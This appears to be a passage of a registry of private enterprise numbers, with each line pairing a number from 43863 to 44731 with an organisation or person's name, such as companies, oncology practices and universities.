+43863 Valour Security Ltd
+43864 Breeze Innovations Private Limited
+43865 Matthias Krause (spectre-net)
+43866 beijing huafei technology co.,ltd
+43867 Rename it
+43868 CyberArk Software Inc.
+43869 Yatharth Gupta
+43870 Precyse Technologies
+43871 Metricell Ltd.
+43872 Q'ligent.inc
+43873 TA Associates
+43874 pmacct
+43875 TeKnowledgy, Inc.
+43876 Centre Hospitalier Universitaire Sainte-Justine
+43877 Dalian Rural Commercial Bank Co.,Ltd.
+43878 Embross Group
+43879 Chengdu Fuhuaxin Technology Co.,Ltd.
+43880 FRAKO Kondensatoren- und Anlagenbau GmbH
+43881 Informatics Services Corporation (ISC)
+43882 DHBW Villingen Schwenningen
+43883 NiVo Engineering BV
+43884 AnyCode Kft.
+43885 WCC Group BV
+43886 Anjary Pty Ltd
+43887 ΒΥΤΕ COMPUTER S.A
+43888 Agiloo S.r.l. Semplificata
+43889 datenkollektiv.net
+43890 Thotaka Technologies Private Limited
+43891 SMY.com
+43892 NerySEC
+43893 Hope Bay Technologies, Inc.
+43894 HedoN electronic developments B.V.
+43895 Institut für Holztechnologie Dresden gemeinnützige GmbH
+43896 Emercit
+43897 Amped Wireless
+43898 Hudson City Savings Bank
+43899 atlantis software
+43900 Teramatrix Technologies Private Limited
+43901 Talisman Sinopec Energy UK Limited
+43902 Enkel Tecnologia
+43903 LIons Clubs International - Multi District 111 (Germany)
+43904 BitronikLab
+43905 MelRok LLC
+43906 Tegile Systems, Inc.
+43907 CloudThing Ltd.
+43908 Hawking Technology, Inc.
+43909 Association PauLLA
+43910 Pravala Inc.
+43911 Thureon Limited
+43912 FUJI FURUKAWA ENGINEERING & CONSTRUCTION Co.Ltd.
+43913 Zhejiang Science Electronic Technology Co., Ltd
+43914 The Administrative Committee of Jiangning Development Zone
+43915 Wallace Kroeker
+43916 Van Lanschot
+43917 SantéLink SAS
+43918 Marina Del Rey Hospital
+43919 Neoteck Grup
+43920 Shandong Chaoyue Digital Control Electronics Co., Ltd.
+43921 CJSC STC SIMOS
+43922 Equra Health Trust
+43923 Ivan Leonardi
+43924 Standard Transfer Specification Association
+43925 EastWind
+43926 CSI.NET, Inc.
+43927 ID.me, Inc.
+43928 Vantage Communications
+43929 WellerNET
+43930 Radlink Communications
+43931 IFB Institut für Bahntechnik GmbH
+43932 Bluwireless Technology Limited
+43933 Exploros inc.
+43934 Võrumaa Kutsehariduskeskus
+43935 Keen IO
+43936 zhong yuan hua dian
+43937 Tieto Signaling Solutions
+43938 Memorable Images
+43939 invliD
+43940 WISAG Dienstleistungsholding GmbH
+43941 Event Store LLP
+43942 Luma Pictures
+43943 VOLTRONIC POWER TECHNOLOGY CORP.
+43944 VOLTRONIC POWER TECHNOLOGY CORP.
+43945 Telenia Software srl
+43946 Vanilla.no
+43947 LichtBlick SE
+43948 Taiwan Intelligent Home
+43949 Aceyus, Inc.
+43950 NexxCom Wireless
+43951 Denovo Ventures LLC
+43952 LRAD Corporation
+43953 closerlook, inc.
+43954 Seno Medical Instruments Inc.
+43955 Radiology Associates LLP
+43956 Total Restyling di Tola Rosa
+43957 Multitone Electronic plc
+43958 University of Innsbruck
+43959 Torraspapel SA
+43960 SaF GmbH
+43961 OKTAL, SAS
+43962 Utena University of Applied Sciences
+43963 Thruput Ltd
+43964 Silpakorn University
+43965 akraas.de
+43966 J4SYSTEMS SOLUCOES TECNOLOGICAS LTDA.
+43967 Manthorpe Ltd
+43968 California University of Pennsylvania
+43969 NIPPON FIELD ENGINEERING Co.,Ltd.
+43970 Bächtold & Moor AG
+43971 Map59
+43972 DriveWorks Ltd
+43973 Universidad Nacional de Córdoba - UNC
+43974 Elcoma
+43975 DaedaFusion, LLC
+43976 University of the Philippines Cebu
+43977 HomeSend SCRL
+43978 IKATA NETWORKS
+43979 IMED Engineering s.r.o.
+43980 Cerritos College
+43981 Partnet, Inc.
+43982 Analytical Flavor Systems
+43983 Colibri Technologies Inc.
+43984 MPL Technology Group
+43985 WebINTENSIVE Software
+43986 Privredna Banka Zagreb d. d.
+43987 ALVA IT-Solutions
+43988 Bichara Tecnologia Ltd
+43989 EEMRA Inc.
+43990 Tropo, Inc.
+43991 Elektrum, S.A.R.L
+43992 Power Assure, Inc
+43993 Security First Corp.
+43994 QuanTemplate Technologies Limited
+43995 Axentia Technologies AB
+43996 Bloomington Medical Services
+43997 Cellwize wireless technologies PTE LTD
+43998 Computerwork GmbH
+43999 AKD d.o.o. (formerly 'Agencija za komercijalnu djelatnost d.o.o.')
+44000 PointSecure Technologies Inc
+44001 Shenzhen Envicool Technology Co., Ltd.
+44002 Gridwiz, Inc.
+44003 AutoGrid Systems
+44004 BYKING INC.
+44005 Wadi Chadli
+44006 Xunlei Networking Technologies,Ltd.
+44007 Informatica Bancaria Trentina
+44008 SYSTECH
+44009 WebPKI.org
+44010 OadisCorp
+44011 eMortgage Logic
+44012 Tata advanced systems limited (TASL)
+44013 MPEC Technology Ltd
+44014 Tyco Fire & Integrated Solutions (UK) Ltd.
+44015 DataInfo
+44016 Baikal Electronics
+44017 SmartGuard, LLC
+44018 exiztec
+44019 FRANMAX, UAB
+44020 Router Networking Ltd.
+44021 Alliance Resource Partners, L.P. (ARLP)
+44022 Advanced Publishing Technology
+44023 Karther Ingeniería
+44024 ConnectSolutions
+44025 Foobar Development LLC
+44026 Smart4Aviation Group
+44027 Shop Airlines, Ltd.
+44028 Extreme-Access.com
+44029 Nestlé Operational Services Worldwide SA
+44030 WooshCom Corporation
+44031 TrustCor Systems S. de R.L.
+44032 Cloud Utility District
+44033 Mobitech
+44034 S Broker AG & Co. KG
+44035 Wojskowe Zaklady Lacznosci nr 1 S.A.
+44036 OPENNETEUROPE
+44037 Deželna banka Slovenije d. d.
+44038 Filmakademie Baden-Württemberg GmbH
+44039 Wind Mobile SA
+44040 IEI Integration Corp.
+44041 Conntrack Technologies
+44042 Instituto Nacional de Tecnologias de Informacao e Comunicacao (INTIC)
+44043 BSG-IT Kft.
+44044 SETCCE
+44045 Dos al Cubo
+44046 POK Power of Knowledge
+44047 Schreiber Foods Inc
+44048 Instytut Hodowli i Aklimatyzacji Roslin - Panstwowy Instytut Badawczy
+44049 Cloud2Ground Technologies Div. Digital Multimedia, LLC
+44050 Cryptografree (David Hoyle)
+44051 Sapporo Gakuin University
+44052 Beijing Cloud Core Network Technology Co., Ltd.
+44053 ELFTECH Co., Ltd.
+44054 Hörmann KG Verkaufsgesellschaft
+44055 Identity And Access Management Technologies (IAM Tec)
+44056 Aktif Mühendislik
+44057 predata.org
+44058 Avalanche Cloud Corporation
+44059 School District #63 (Saanich)
+44060 Iridium Communications Inc
+44061 Tippecanoe County Government
+44062 FlightStats Inc.
+44063 ACCESS CO., LTD.
+44064 Quobyte Inc.
+44065 PROGSTAR
+44066 Fachschaftinformatik, WHS
+44067 McStas project
+44068 Major League Baseball Advanced Media
+44069 Groupe Citypassenger Inc
+44070 IFTER
+44071 New Relic, Inc
+44072 Lee County Schools
+44073 Data People Pty Ltd
+44074 Servyou
+44075 Beijing Nan Bao Technology Co., Ltd.
+44076 Landtag von Baden-Württemberg
+44077 PST AG
+44078 Taiwan Mobile Payment Co.
+44079 NPO SISTEMI S.p.A.
+44080 TNTNET
+44081 UNI LEADER INTERNATIONAL LTD
+44082 Beijing DTLT Technology CO., LTD.
+44083 GuiLin HYGJ communication technology co., Ltd
+44084 B. Metzler seel. Sohn & Co. KGaA
+44085 Display Quality Equipment, S.L
+44086 E-T-A Elektrotechnische Apparate GmbH
+44087 Hammond Consulting Services
+44088 CODESA - Grupo Empresarial de la Construcción, Santiago de Cuba, Cuba
+44089 ABit Consulting
+44090 CSG Global LLC
+44091 Agilion GmbH
+44092 Sigel GmbH
+44093 Bell Ambulance, Inc.
+44094 Aser Secury
+44095 Kagoshima University
+44096 Shenzhen Zhong Yuan Tong Power Supply Technology Co., Ltd.
+44097 db-central GmbH
+44098 Patchman B.V.
+44099 CyberSeal LTD
+44100 SLASH16
+44101 Radiss s.c.
+44102 GRC Advisory Solutions
+44103 Agora Con GmbH
+44104 Groupe Alsatis
+44105 BHS tabletop AG
+44106 IMSWorkX, Inc.
+44107 Rivada Networks, LLC
+44108 Telecom Argentina S.A.
+44109 FAA National Airspace Systems
+44110 Nowa Era Sp. z o.o.
+44111 Guangzhou Younghead Electronic Technology Co.,Ltd
+44112 Coöperatieve Rabobank U.A.
+44113 Villeroy & Boch AG
+44114 RealVNC Ltd
+44115 Height8 Technologies Pvt. Ltd
+44116 RosBusinessConsulting, CJSC
+44117 Cross Borders Trust Services OÜ
+44118 Noakes
+44119 Creighton
+44120 Avairis, Inc.
+44121 HRK Soft Group Ltd.
+44122 T17R (Martin Treusch von Buttlar)
+44123 Business-intelligence of Oriental Nations Corporation, Ltd.
+44124 bit media e-solutions gmbh.
+44125 Lanyo Networks Co., LTD.
+44126 Lookhere Design
+44127 Primlight AB
+44128 MapGear
+44129 beijing yunzheng telecommunication technology Co, LTD
+44130 Michael Ghazi
+44131 Nanjing DunLei Network Technology Co.,Ltd.
+44132 OpsVision Solutions
+44133 Commerce Technologies, Inc.
+44134 Bless Information & Communication Inc.
+44135 Jonkoping Energi AB
+44136 Data Controls Inc.
+44137 KaiXiang
+44138 NodeForge
+44139 Vizury Interactive Solutions Pvt. Ltd
+44140 Rapp Management AG
+44141 Rosbank
+44142 Edidin Group, Inc
+44143 kazalo GmbH
+44144 Formulus Black (formerly 'Symbolic IO')
+44145 Pokazz sp. z o.o.
+44146 INSYS K.Bartkowski, P.Czekala sp.j.
+44147 Diagnostic Imaging Associates
+44148 Nanjing Tsinghua Novel Network Technology Co.,Ltd.
+44149 KouXianglong
+44150 Intermarketing Oy
+44151 Metrovision
+44152 Kambio Company
+44153 DreamCode S.A.S.
+44154 InfoStreet, Inc.
+44155 Sacred Heart Hospital of Allentown
+44156 Computer Applications & Technical Services
+44157 Stadtverwaltung Duebendorf
+44158 Mediterranean Broadband Infrastructure s.r.l.
+44159 DK-Technologies
+44160 Contra Costa Oncology
+44161 Tri-County Hematology & Oncology Assoc.
+44162 CHAMPLAIN VALLEY HEMATOLOGY ONCOLOGY, PC
+44163 University of SS. Cyril and Methodius in Trnava
+44164 OutSmart Power Systems LLC
+44165 Eduardo Miranda MD
+44166 Andrews & Patel Associates, P.C
+44167 North Texas Gynecologic Oncology
+44168 NetCraft Australia Pty Ltd
+44169 FIDA INTERNATIONAL (S) PTE LTD
+44170 Decision Group Inc.
+44171 RogSibAl LLC
+44172 Hangzhou Kuaiyue Mobile Technologies, Ltd.
+44173 InPhoSys Ltd
+44174 Baptist Health Cancer Care & Blood Disorders
+44175 Urology Cancer Center
+44176 SOCIETE REUNIONNAISE DU RADIOTELEPHONE
+44177 INSTITUTO DE HEMATOLOGIA Y ONCOLOGIA MEDICA, SRL
+44178 Cancer Clinic
+44179 Daniel Stensnes
+44180 Oncology & Hematology Associates of West Broward, P.A.
+44181 Chitra Venkatraman, M.D., P.A.
+44182 Associates in Oncology/Hematology
+44183 Security Confidence Corporation
+44184 Ma-Ya IT Consult, e.U.
+44185 Horizon Medical Group, Inc
+44186 Keats, Connelly & Associates, LLC
+44187 Zirtual Inc
+44188 Cancer Center Oncology Medical Group
+44189 Pacific Cancer Care
+44190 PostAR
+44191 CLG Enterprises
+44192 Remego Ltd.
+44193 Beijing DATAX Technology Co., Ltd.
+44194 EnGenius Networks, Inc.
+44195 Southern Oncology Specialists, PLLC
+44196 SecureRF Corporation
+44197 Piedmont Cancer Institute
+44198 Cancer and Hematology Centers of Western Michigan
+44199 University of New South Wales
+44200 Markit Ltd
+44201 Micromation.Net
+44202 American Energy Partners, LP
+44203 Global 3R Ltd.
+44204 Medical Oncology Associates of Long Island, PC
+44205 BandRich, Inc.
+44206 Fujitsu Isotec Limited
+44207 Proxee Solutions
+44208 Telecom Personal Paraguay
+44209 fsis GmbH
+44210 Robadey Network
+44211 GGR Communications Ltd
+44212 Oncology Hematology Care of Connecticut, LLC
+44213 Happy Gears Inc
+44214 Erie Indemnity Company
+44215 Arsslensoft
+44216 FUYOH VIDEO INDUSTRY CO.,LTD.
+44217 FiberRoad
+44218 Buffalo Boots GmbH
+44219 Beijing Raytight Technologies, Co
+44220 Netzin Technology Corporation,.Ltd.
+44221 Primary Oncology Network, PLLC
+44222 Fox Valley Hematology Oncology/Illinois Cancer Specialists
+44223 GE AVIC Civil Avionics Systems Company Limited
+44224 MATTHEW TAUB MD PA
+44225 Mr.yassine hamraoui
+44226 sonoran hematology oncology
+44227 Pulse Secure
+44228 port GmbH
+44229 Wanco Inc
+44230 Bundesamt für Seeschifffahrt und Hydrographie
+44231 Queens Medical Associates, PC
+44232 Ing. Büro Mann
+44233 Balluff GmbH
+44234 VIT S.A.
+44235 Ospero Pty. Ltd.
+44236 Compassionate Oncology Medical Group
+44237 Allegro Packets GmbH
+44238 Esense Embeded
+44239 Centro de cancer de la mujer de Puerto Rico
+44240 Rocket Internet AG
+44241 LotusCom Inc.
+44242 Radomir LLC
+44243 NSTEK Inc.
+44244 Gardens Regional Hospital and Medical Center, Inc.
+44245 Fazion Sistemas Ltda
+44246 St. Louis Cancer Care, LLC
+44247 CLEAR SRL
+44248 Simula Research Laboratory
+44249 Florida Cancer Specialists & Research Institute
+44250 Coastal Integrative Cancer Care
+44251 IMT Services Corp
+44252 Iceotope
+44253 HANKYUNG I-NET
+44254 LuckyBulldozer
+44255 Medical Oncology Associates of San Diego
+44256 Kootenai Cancer Center
+44257 Teraoka Weigh-System Pte Ltd
+44258 Hello World Ltd
+44259 Xstream Flow (Pty) Ltd
+44260 BALLY WULFF Games & Entertainment GmbH
+44261 CARBOGEN AMCIS AG
+44262 BJ's Wholesale Club
+44263 Cancer Center of Sarasota Manatee
+44264 SurfCrew, Inc.
+44265 Grotex OOO
+44266 Luna-78 LLC
+44267 Hematology & Oncology Associates of Alabama, LLC
+44268 DynaScan Technology, Inc.
+44269 Beamly
+44270 Barnardsoft Co., Ltd.
+44271 Nuage Networks
+44272 Peter Andree
+44273 Gernert-Net
+44274 Trit Networks LLC
+44275 Illumio, Inc.
+44276 TANABIKI Inc.
+44277 Mike Tennant
+44278 ShangHai RealCom Communication Technology Co.,Ltd.
+44279 ZheJiang University PRESS
+44280 F E T Elettronica snc
+44281 Blood & Marrow Transplant Group of Georgia
+44282 Microware Computing & Consulting Pvt Ltd
+44283 Appnovation Technologies Inc
+44284 Time4 Systems Ltd.
+44285 New England Cancer Specialists
+44286 Working Distributors, Inc.
+44287 JConcept Open Solutions
+44288 greaty
+44289 Beijing Cyber Greatwall Information Technology Co., Ltd.
+44290 Sajeev Anand, M.D., LLC
+44291 New London Cancer Center
+44292 emplus Networks Inc.
+44293 Unwired Networks GmbH
+44294 Quanta-Computing
+44295 SSE - Stuellein Software Engineering
+44296 HelmetHub
+44297 Alliance Cancer Specialists, PC
+44298 CogVis GmbH
+44299 I.M. Dauntless
+44300 Cyber1st R&D Ltd.
+44301 Alexander Maier GmbH
+44302 Clearview Cancer Institute
+44303 Netz-AG Emil-Figgestraße 15-39
+44304 HEMATOLOGY ONCOLOGY LIFE CENTER LLC
+44305 Oncology Hematology Associates of Springfield, MD, PC
+44306 CAROLINA ONCOLOGY ASSOCIATES, P.A.
+44307 LP Technologies, Inc.
+44308 Centripetal Networks, Inc.
+44309 Center for Cancer Care
+44310 SiteSpect, Inc.
+44311 Budapesti Fazekas Mihaly Gyakorlo Altalanos Iskola es Gimnazium
+44312 Amundson Partners, Inc.
+44313 Johan Grip (ogun.org)
+44314 Democritus University of Thrace
+44315 Guido Di Fazio
+44316 Softneta UAB
+44317 Kanton Zug (www.zg.ch)
+44318 PT. Telekomunikasi Indonesia
+44319 Oklahoma Cancer Specialists and Research Institute
+44320 Lake Norman Hematology Oncology
+44321 TrilioData, Inc
+44322 Shenzhen Mailian Electronics Co.,Ltd
+44323 SmartRG, Inc.
+44324 EstiNet Technologies Inc.
+44325 TangoME, Inc.
+44326 Kwartzlab Makerspace
+44327 Ardexa Pty Ltd
+44328 tmon
+44329 Elektronik Art
+44330 Xeneta AS
+44331 ZHAW Zürcher Hochschule für Angewandte Wissenschaften
+44332 Wallarm, Inc
+44333 artdecode.de
+44334 Saint Vincent Physician Services, Inc.
+44335 Waverules LLC
+44336 Oncology Hematology Associates of Saginaw Valley, P.C.
+44337 ONCOLOGY ASSOCIATES OF MONROE
+44338 Low Country Cancer Care Associates, P.C.
+44339 Low Country Cancer Care Associates, P.C.
+44340 Mid-Illinois Hematology & Oncology Associates, Ltd.
+44341 GreatCall, Inc.
+44342 Regional Cancer Care Associates LLC
+44343 Jackson Oncology Associates, PLLC
+44344 CANCER CENTER ASSOCIATES
+44345 LLC, Sintek
+44346 JSC "Promstroikontrakt"
+44347 IK SATPROF LLC
+44348 NIL KSA
+44349 Highland Clinic, APMC
+44350 Cancer Care Centers of Brevard
+44351 greglearns (Greg Edwards)
+44352 North Shore Hematology & Oncology Associates P.C.
+44353 Cancer Center of Central Connecticut, LLC
+44354 Grace Hematology and Oncology
+44355 Oncology Hematology Associates of Northern PA, PC
+44356 Trust Medical and Oncology Center
+44357 Birchbox Inc.
+44358 Nashat Y Gabrail, MD Inc
+44359 Frederick P. Smith, MD PC
+44360 EAST SIDE ONCOLOGY ASSOCIATES, PLLC
+44361 Dabas Cancer Institute, P.A.
+44362 Universidade Federal de Uberlandia
+44363 Cloudflare
+44364 AVEA
+44365 DR. CHRISTOPHER T. SOPRENUK, M.D. P.A.
+44366 Essex Oncology of North Jersey PA
+44367 Highland Solutions
+44368 Unmukti Technology Private Limited
+44369 NeoTerra Systems Inc.
+44370 Utelisys Communications B.V.
+44371 Jay Steel
+44372 Valley Medical Oncology Consultants, A Medical Group, A Professional Corp
+44373 Regional Cancer Care Associates- Central Jersey Division
+44374 New England Hematology Oncology Associatesd
+44375 Eastern Long Island Hematology Oncology
+44376 Opus One Winery, LLC
+44377 Hudson Hematology Oncology
+44378 Stephan Gogler
+44379 Meanwave GmbH
+44380 Desert Hematology Oncology Medical Group Inc.
+44381 Medical Oncology Associates, PS
+44382 Intec Pacific Pty. Ltd.
+44383 Ascent Co.,Ltd
+44384 Harbour IT Pty Ltd
+44385 BONSONINFO SYSTEM CO.,LTD
+44386 3 Gen d.o.o.
+44387 Conway Hematology Oncology
+44388 Medical and Surgical Clinic of Irving
+44389 Max Planck Institute for Metabolism Research
+44390 Skootr.com
+44391 Polytechnic West
+44392 Xperterra
+44393 Pinellas Hematology &Oncology PA.
+44394 Province Nord - Nouvelle Calédonie
+44395 Pierre Decazes
+44396 Hilberling GmbH
+44397 OTP Bank Plc.
+44398 SAITEL Telecomunicazioni s.r.l.
+44399 Masgalor
+44400 Eagle Investment Systems LLC
+44401 Meeting House Lane Medical Practice PC
+44402 Singh & Arora Oncology/Hematology, P.C.
+44403 STUART ONCOLOGY ASSOCIATES
+44404 Climate-control NN, Ltd.
+44405 Shenzhen Wintop Photoelectric Technology Co., Ltd
+44406 SMT S.A.
+44407 Vidder, Inc.
+44408 Ventus Technologies S.L.
+44409 OSNA Research
+44410 Versilis Inc
+44411 Universidad Mariano Gálvez de Guatemala
+44412 Markus Froehlich
+44413 Studievereniging A-Eskwadraat
+44414 Aldazar LLC
+44415 Mikeji d.o.o.
+44416 China Electronics Technology Group Corporation No.7 Research Institute
+44417 Lazy Mountain Computers
+44418 Shenzhen Haipengxin Electronics Co., Ltd.
+44419 South County Hematology Oncology
+44420 Fairfax Media
+44421 Shen zhen huaptec co.,ltd
+44422 CloudGate Systems India Pvt Ltd
+44423 Frederick G. Barr, MD
+44424 Nelson G.N. Kalil, MD PC
+44425 goldenTech SA
+44426 ek-soft GmbH
+44427 Hills Road Sixth Form College
+44428 ZAO Severo-Zapad
+44429 Great Lakes Cancer Management Specialists
+44430 AGF Management Limited
+44431 Panhandle Cancer Center
+44432 CanDeal
+44433 Tri-Tech Manufacturing, Inc
+44434 Junta de Comunidades de Castilla-La Mancha
+44435 Staatliches Berufsschulzentrum Hermsdorf
+44436 IdentKey Sicherheitsverbund (Ithamar Garbe)
+44437 CommBox Pty. Ltd.
+44438 Thomas A. York
+44439 FOP Kagarlickij D.V.
+44440 INFUSION ASSOCIATES, PC
+44441 Radford University
+44442 iSysBus
+44443 Stelo - Companhia Brasileira de Pag Eletr
+44444 iWelcome B.V.
+44445 Corrado Mulas Enterprise Root CA
+44446 GovComm, Inc.
+44447 Fairchild Medical Center
+44448 Apica
+44449 Xiamen University
+44450 Synapsys Solutions Ltd.
+44451 Schessner IT-Consulting
+44452 Evgeny Artemyev (XART)
+44453 Arizona Oncology/Saguaro Cancer Center
+44454 Globalstar, Inc.
+44455 CHINA HUALU GROUP CO., LTD
+44456 tuxwave.net
+44457 Biamp Systems
+44458 IT WATANA COMPANY
+44459 Bluepunkt Networks, Inc.
+44460 Alumina Elit 2003 Ltd.
+44461 Rainus
+44462 K2E
+44463 BTS TECH S.r.l.
+44464 Edgeguide AB
+44465 Cataleya Pte Ltd
+44466 FOP Tumakha Yuriy Volodymyrovych
+44467 Sigmacom Broadcast
+44468 Streamline, Lda.
+44469 ARPA2
+44470 Intermediate Engineering GmbH
+44471 Kryptos Security
+44472 BAMBR Information, Inc.
+44473 CSTx GmbH
+44474 Murata Manufacturing Co.,Ltd
+44475 init.at informationstechnologie GmbH
+44476 Middlesex Oncology
+44477 Washington Metropolitan Area Transit Authority
+44478 BIN-Control GmbH
+44479 Gikos Networks
+44480 Beijing Liuhe Intelligence Technology Ltd.
+44481 CentrAlert
+44482 Oncare-Hawaii Hematology Oncology
+44483 Los Angeles Cancer Network
+44484 YIXUN Technology Co., Ltd.
+44485 WIBU-SYSTEMS AG
+44486 Diabolocom
+44487 Ineos Manufacturing Koeln GmbH
+44488 Reichle & De-Massari AG
+44489 olifluous
+44490 Beward R&D Co., Ltd
+44491 Cherry Creek Mortgage Co., Inc.
+44492 MEDIAHOUND, INC.
+44493 STARMON s.r.o.
+44494 TrustAsia Technologies, Inc.
+44495 PAIO co.,ltd.
+44496 Bender GmbH & Co. KG
+44497 CHINA AERONAUTICAL RADIO ELECTRONICS RESEARCH INSTITUTE
+44498 IT Solutions Roland Breitschaft
+44499 BLOOD AND CANCER CENTER OF EAST TEXAS
+44500 CHRONOTRACK SYSTEMS CORP.
+44501 NuLEDs, Inc.
+44502 SmartCast GmbH
+44503 MDLIVE Inc.
+44504 Evilcats Organization
+44505 Ideum Group, Inc
+44506 Consulta Network Security AB
+44507 Northwest Alabama Cancer Center, PC
+44508 Vigilant Applications Limited
+44509 CompTek
+44510 FJ Consultant
+44511 Rudolf Wild GmbH & Co. KG
+44512 iptronix srl
+44513 Essener Versorgungs- und Verkehrsgesellschaft mbH (EVV)
+44514 bremersee.org
+44515 Griesson - de Beukelaer GmbH & Co. KG
+44516 ETES GmbH
+44517 Virgil Grigoras
+44518 EUROSELL SPA
+44519 US Railroad Retirement Board
+44520 Consolidated Information Systems
+44521 WUNDERVOLL NETWORKS
+44522 Information Technology Solutions Laboratory
+44523 NetBeez
+44524 Research & Development Center "Vulkan" LLC
+44525 Breast Surgery of Tulsa
+44526 Carta Solutions Processing Services Corp
+44527 Marco Dominguez
+44528 Uriel Technologies
+44529 One Call Care Management
+44530 Alphapower Ltd.
+44531 Renfell Engineering Pty Ltd
+44532 Sage Electronic Engineering, LLC
+44533 Digital Barriers
+44534 Weybourne Partners LLP
+44535 TSAT AS
+44536 True Partners Consulting LLC
+44537 Elauwit Networks, LLC
+44538 Providius Corp
+44539 Safe Patient Systems Ltd
+44540 Bond Enterprises
+44541 FeiTian United (Beijing) System Technology Co.,Ltd.
+44542 VdS Schadenverhütung GmbH
+44543 Viesti Networks Oy
+44544 SANEF-ITS
+44545 K-LAGAN España S.L.
+44546 Harp Visual Communications Ltd
+44547 YMOR Group B.V.
+44548 Centrale Ashton Inc.
+44549 ELECTRIS
+44550 Avature USA LLC
+44551 NetCredit Group
+44552 Night Corporation
+44553 Oncology/Hematology of Loudoun and Reston
+44554 Primevation Ltd.
+44555 CICS AB
+44556 Universitas Al Azhar Indonesia
+44557 WorNet AG
+44558 Derixx GmbH
+44559 Tribunal Regional do Trabalho da 13a. Regiao
+44560 International Black Sea University
+44561 Alachua County Library District
+44562 aixtools (Michael Felt)
+44563 Irkutsk Diagnostic Centre
+44564 CJSC "ENERGOMERA"
+44565 Tobias Mandjik (formerly 'LECKERBEEF.de')
+44566 OOO Komandor-holding
+44567 Agencja Rozwoju Przemyslu S.A.
+44568 Om7Sense GmbH
+44569 Regional Networks, Ltd.
+44570 Lancaster Cancer Center
+44571 Solinea, Inc
+44572 Abington Hematology Oncology Associates
+44573 MGI1
+44574 Jilin Yuxin Technology Co. Ltd
+44575 3S PocketNet
+44576 PERNOD-RICARD
+44577 Proxion Solutions Oy
+44578 Spectra Engineering Pty Ltd
+44579 Sonnenburg Electronic AG
+44580 Johann Sperber GMBH & Co. KG
+44581 Regional Hematology Oncology Associates,P.C
+44582 Inversion Software OÜ
+44583 Obicis Ltd.
+44584 JumpCloud, Inc
+44585 Servato Corp
+44586 CommDev, LLC
+44587 InMechaSol
+44588 Kryptus Information Security S/A
+44589 becker-ikt.de - Jochen Becker
+44590 Kevin Niehage
+44591 Morgan Hunt Ltd
+44592 Fininvest Sp. z o.o.
+44593 Jan Bětík (Údolí Sviní)
+44594 DTS INSIGHT CORPORATION (formerly 'Yokogawa Digital Computer Corporation')
+44595 indigo Consulting GmbH
+44596 DILO Armaturen und Anlagen GmbH
+44597 BigBoards
+44598 Gosford IT
+44599 Vuzix Corporation
+44600 e-Paper Ltd.
+44601 Sunware s.r.o.
+44602 Systems Mechanics Ltd.
+44603 u-form Testsysteme GmbH & Co KG
+44604 Beijing Jinhong Xi-Dian Information Technology Corp.
+44605 Lighthouse IVM GmbH
+44606 Siraya Networks Co., Ltd.
+44607 GreenField Software Private Limited
+44608 Net at Work Netzwerksysteme GmbH
+44609 PRONIX s.r.o.
+44610 Elvis-Telecom JSC
+44611 Dumee.fr
+44612 Beijing Tonlier Energy Technology Co., Ltd.
+44613 Sunkaisens(Beijing) Technology Co.,Ltd.
+44614 Lingualeo LLC.
+44615 Bluehouse Technology Ltd
+44616 University Transilvania of Brasov
+44617 GLOBTECH spol. s r.o.
+44618 Philter, LLC
+44619 Ziften Technologies
+44620 Integrated Service Company LLC
+44621 OLeary Computers Inc
+44622 Instituto Colegio de Todos los Santos
+44623 Iomnis Surveillance Solutions
+44624 Blood & Cancer Center (Ohio)
+44625 Electre
+44626 Captive.net
+44627 National Instruments Corporation
+44628 Canva, Inc.
+44629 Australian Department of Infrastructure and Regional Development
+44630 JSC Platron
+44631 TechFu (Pty) Ltd.
+44632 EBlink SA
+44633 Squire Technologies
+44634 markentier (Christoph Grabo)
+44635 Degeetia OÜ
+44636 NewCashel Inc.
+44637 CB&I Federal Services
+44638 ONEDC
+44639 Hermes Europe GmbH
+44640 UpdateLogic, Inc.
+44641 VyOS
+44642 National Knowledge Network
+44643 Fujikura Automotive Europe S.A.
+44644 Vopium A/S
+44645 Infrabel NV
+44646 Emko Elektronik Sanayi ve Ticaret A.Åž.
+44647 Argus der Presse AG
+44648 Manet Ltd
+44649 Alma Technologies
+44650 Hemotology Oncology Care of Northern VA
+44651 University of Detroit Jesuit High School and Academy
+44652 LaMarche Mfg. Company
+44653 Unassigned
+44654 Hochschule für Musik Freiburg
+44655 Heartland Hematology & Oncology
+44656 Sound Choice Communications LLC
+44657 Bow Valley College
+44658 Northwest Medical Specialties PLLC
+44659 Burlington County Hematology-Oncology Associates, P.A.
+44660 Landspitali
+44661 Boyce Technologies, Inc.
+44662 CodeChase
+44663 Wuhan GreeNet Information Service Co., Ltd.
+44664 IRCOS JSC
+44665 1&1 Internet AG
+44666 Ville de Saint André
+44667 Pardic Systems , Ltd.
+44668 Securosys SA
+44669 First Capital Payments
+44670 Prism Software Corporation
+44671 Sysctl AB
+44672 Naucra Co., Ltd
+44673 SitePen, Inc.
+44674 FUSED NETWORK CORP
+44675 Spillman Technologies Inc.
+44676 Glenn McGurrin
+44677 Dreamhack Network
+44678 Loopia AB
+44679 Plansee Group Service GmbH
+44680 Iudex
+44681 Ajuntament de Valencia
+44682 CompliSpace Technology Pty Ltd
+44683 Intern-net
+44684 Corsa Technology Inc.
+44685 NTENT
+44686 ROI Development Corp., DBA Newmar
+44687 Hebeo
+44688 WorldWide Supply LLC (aka "WWS")
+44689 Groupe Simplinet inc.
+44690 Sonavox Canada Inc.
+44691 GRUPO ONCOLOGICO COMUNITARIO DE SAN JUAN
+44692 Sedus Stoll AG
+44693 Microwave Photonic Systems, Inc.
+44694 Adams County Cancer Center
+44695 Wolfgang Erlenkoetter IT
+44696 apl.io
+44697 Charles University in Prague, Faculty of Mathematics and Physics
+44698 Baxter Planning System
+44699 BiLL GmbH
+44700 Kuss IT-Solutions
+44701 Hearsay Social
+44702 Voiceworks B.V.
+44703 Danville Hematology and Oncology
+44704 BlackSip Development
+44705 Hack12
+44706 Hostopia.com Inc.
+44707 SAI Technology Inc.
+44708 Crews Banking corporation
+44709 Xolphin B.V.
+44710 Ensured B.V.
+44711 T-Mobile Nederland BV
+44712 AGAT-System
+44713 COSMOS-SOFT.net
+44714 Transdata
+44715 Ezitherm
+44716 University of the Sunshine Coast
+44717 CO-Sol Inc.
+44718 Loews Hotels Inc
+44719 UniversalCard Sibiria LLC
+44720 Shanghai BEIDIAN Industry Group
+44721 Okaki Health Intelligence Inc
+44722 WALLMEDIEN AG
+44723 Unassigned
+44724 LLC "ITTech"
+44725 BADTRONIC sarl
+44726 Radionika Sp. z o.o.
+44727 Y2S Corporation
+44728 I3 CZ s.r.o.
+44729 Fixmon
+44730 Elkomtech S.A.
+44731 Palestine Monetary Authority
